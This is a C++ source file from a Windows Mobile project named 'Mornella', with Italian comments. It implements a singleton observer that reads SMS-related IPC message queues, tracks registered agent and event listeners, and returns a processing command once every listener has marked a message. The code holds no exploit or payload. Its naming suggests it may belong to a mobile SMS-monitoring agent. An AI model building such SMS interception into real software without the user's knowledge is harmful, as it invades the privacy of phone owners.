Mornella/Mornella_Mobile/Observer.cpp
#include "Observer.h"
/**
* La nostra unica reference a Observer. La gestione della concorrenza viene fatta internamente
*/
Observer* Observer::Instance = NULL;
volatile LONG Observer::lLock = 0;
Observer::Observer() : hQueueWrite(NULL), hQueueRead(NULL),
hObserverMutex(NULL), pRegistered(NULL), pQueue(NULL),
m_iQueueCommand(EVENT_NOT_INTERESTING), m_pIpcMsg(NULL), dwMsgLen(0), bRefresh(TRUE) {
dwQueueBuf = 4 * 1024;
hObserverMutex = CreateMutex(NULL, FALSE, NULL);
// Prepariamo l'handling della coda IPC
ZeroMemory(&qRead, sizeof(qRead));
ZeroMemory(&qWrite, sizeof(qWrite));
// Se chiamiamo la CreateMsgQueue() su una coda che gia' esiste
// vengono utilizzati solo questi due parametri.
qRead.dwSize = sizeof(qRead);
qWrite.dwSize = sizeof(qWrite);
qRead.bReadAccess = TRUE;
qWrite.bReadAccess = FALSE;
hQueueRead = OpenMsgQueue(GetModuleHandle(NULL), g_hSmsQueueRead, &qRead);
if (hQueueRead == NULL)
return;
hQueueWrite = OpenMsgQueue(GetModuleHandle(NULL), g_hSmsQueueWrite, &qWrite);
if (hQueueWrite == NULL)
return;
pQueue = new(std::nothrow) BYTE[dwQueueBuf];
}
Observer::~Observer() {
if (hObserverMutex != NULL)
CloseHandle(hObserverMutex);
if (hQueueWrite)
CloseMsgQueue(hQueueWrite);
if (hQueueRead)
CloseMsgQueue(hQueueRead);
if (pQueue)
delete[] pQueue;
}
Observer* Observer::self() {
while (InterlockedExchange((LPLONG)&lLock, 1) != 0)
Sleep(1);
if (Instance == NULL)
Instance = new(std::nothrow) Observer();
InterlockedExchange((LPLONG)&lLock, 0);
return Instance;
}
BOOL Observer::ReadQueue() {
DWORD dwFlags;
dwFlags = 0;
if (pQueue == NULL || hQueueRead == NULL)
return FALSE;
if (bRefresh == FALSE)
return TRUE;
ZeroMemory(pQueue, dwQueueBuf);
if (ReadMsgQueue(hQueueRead, pQueue, dwQueueBuf, &dwMsgLen, 1000, &dwFlags) == FALSE) {
bRefresh = TRUE;
#ifdef _DEBUG
DWORD dwErr = GetLastError();
if (dwErr == ERROR_INSUFFICIENT_BUFFER) {
DBG_TRACE(L"Debug - Observer.cpp - GetMessage() [ReadQueue() == ERROR_INSUFFICIENT_BUFFER]\n", 5, FALSE);
}
if (dwErr == ERROR_PIPE_NOT_CONNECTED) {
DBG_TRACE(L"Debug - Observer.cpp - GetMessage() [ReadQueue() == ERROR_PIPE_NOT_CONNECTED]\n", 5, FALSE);
}
#endif
return FALSE;
}
m_pIpcMsg = (pIpcMsg)pQueue;
bRefresh = FALSE;
return TRUE;
}
BOOL Observer::WriteQueue() {
// Usiamo i 3 byte di packing per inviare il messaggio invece di
// allocare spazio nella struttura
IpcMsg pResponse;
if (m_pIpcMsg == NULL) {
DBG_TRACE(L"Debug - Observer.cpp - WriteQueue() [m_pIpcMsg == NULL]\n", 5, FALSE);
return FALSE;
}
ZeroMemory(&pResponse, sizeof(pResponse));
// Segnaliamo alla coda cosa fare con il messaggio
pResponse.dwForwarded = 0;
pResponse.dwMsgLen = sizeof(UINT);
pResponse.dwRecipient = m_pIpcMsg->dwRecipient;
pResponse.dwSender = m_pIpcMsg->dwSender;
CopyMemory(pResponse.Msg, &m_iQueueCommand, sizeof(m_iQueueCommand));
// Proviamo a mandare il messaggio in ogni caso!
return WriteMsgQueue(hQueueWrite, &pResponse, sizeof(IpcMsg), 1000, MSGQUEUE_MSGALERT);
}
BOOL Observer::ResetList() {
list<Listeners>::iterator iter;
if (pRegistered == NULL)
return FALSE;
for (iter = pRegistered->begin(); iter != pRegistered->end(); iter++) {
(*iter).bProcessed = FALSE;
(*iter).bDispatched = FALSE;
}
// Resettiamo lo stato di m_iQueueCommand
m_iQueueCommand = EVENT_NOT_INTERESTING;
return TRUE;
}
BOOL Observer::Dispatch() {
list<Listeners>::iterator iter;
// Chiamiamo la WriteQueue() solo se tutti i listener hanno markato il messaggio
BOOL bComplete = TRUE;
for (iter = pRegistered->begin(); iter != pRegistered->end(); iter++) {
if ((*iter).bDispatched == FALSE) {
bComplete = FALSE;
break;
}
}
if (bComplete == FALSE)
return TRUE;
// Non abbiamo un messaggio, qualcosa e' andato storto
if (m_pIpcMsg == NULL) {
DBG_TRACE(L"Debug - Observer.cpp - Dispatch() [m_pIpcMsg == NULL]\n", 5, FALSE);
return FALSE;
}
bRefresh = TRUE;
// Se m_iQueueCommand e' uguale EVENT_NOT_INTERESTING significa che l'evento non interessa
// a nessuno, quindi eseguiamo il comando di default per quell'evento.
if (m_iQueueCommand == EVENT_NOT_INTERESTING) {
// MANAGEMENT - Qui vanno aggiunte le azioni di default per ogni futuro evento
switch (m_pIpcMsg->dwSender) {
case EVENT_SMS:
m_iQueueCommand = IPC_PROCESS;
break;
default:
m_iQueueCommand = IPC_PROCESS;
break;
}
DBG_TRACE(L"Debug - Observer.cpp - Dispatch() [m_iQueueCommand == EVENT_NOT_INTERESTING]\n", 5, FALSE);
}
if (WriteQueue() == FALSE) {
// Non siamo riusciti a scrivere nella coda, e' grave!!!
DBG_TRACE(L"Debug - Observer.cpp - Dispatch() [WriteQueue() FAILED]\n", 5, FALSE);
return FALSE;
}
// Resettiamo la lista dei listener
return ResetList();
}
// Un agente/evento non deve mai chiamare la Register() piu' di una volta senza aver
// chiamato prima la unregister.
BOOL Observer::Register(UINT uTid) {
WAIT_AND_SIGNAL(hObserverMutex);
Listeners part;
if (pRegistered == NULL) {
pRegistered = new(std::nothrow) list<Listeners>;
if (pRegistered == NULL) {
DBG_TRACE(L"Debug - Observer.cpp - Register() [pRegistered == NULL]\n", 5, FALSE);
UNLOCK(hObserverMutex);
return FALSE;
}
pRegistered->clear();
}
part.uTid = uTid;
part.bProcessed = FALSE;
part.bDispatched = FALSE;
pRegistered->push_back(part);
UNLOCK(hObserverMutex);
return TRUE;
}
BOOL Observer::UnRegister(UINT uTid) {
WAIT_AND_SIGNAL(hObserverMutex);
list<Listeners>::iterator iter;
if (pRegistered == NULL) {
DBG_TRACE(L"Debug - Observer.cpp - UnRegister() [pRegistered == NULL]\n", 5, FALSE);
UNLOCK(hObserverMutex);
return FALSE;
}
// Scorriamo tutta la lista... Giusto per rimuovere eventuali doppioni
for (iter = pRegistered->begin(); iter != pRegistered->end();) {
if ((*iter).uTid == uTid)
iter = pRegistered->erase(iter);
else
iter++;
}
UNLOCK(hObserverMutex);
Sleep(200);
return TRUE;
}
const BYTE* Observer::GetMessage() {
WAIT_AND_SIGNAL(hObserverMutex);
if (ReadQueue() == FALSE) {
UNLOCK(hObserverMutex);
return NULL;
}
UNLOCK(hObserverMutex);
return pQueue;
}
BOOL Observer::MarkMessage(UINT uTid, UINT uCommand, BOOL bProcessed) {
WAIT_AND_SIGNAL(hObserverMutex);
list<Listeners>::iterator iter;
BOOL bRet;
if (pRegistered == NULL) {
DBG_TRACE(L"Debug - Observer.cpp - MarkMessage() [pRegistered == NULL]\n", 5, FALSE);
UNLOCK(hObserverMutex);
return FALSE;
}
// Scorriamo tutta la lista... Giusto per processare eventuali doppioni
for (iter = pRegistered->begin(); iter != pRegistered->end(); iter++) {
if ((*iter).uTid == uTid) {
(*iter).bProcessed = bProcessed;
(*iter).bDispatched = TRUE;
}
}
if (bProcessed)
m_iQueueCommand = uCommand;
bRet = Dispatch();
UNLOCK(hObserverMutex);
return bRet;
}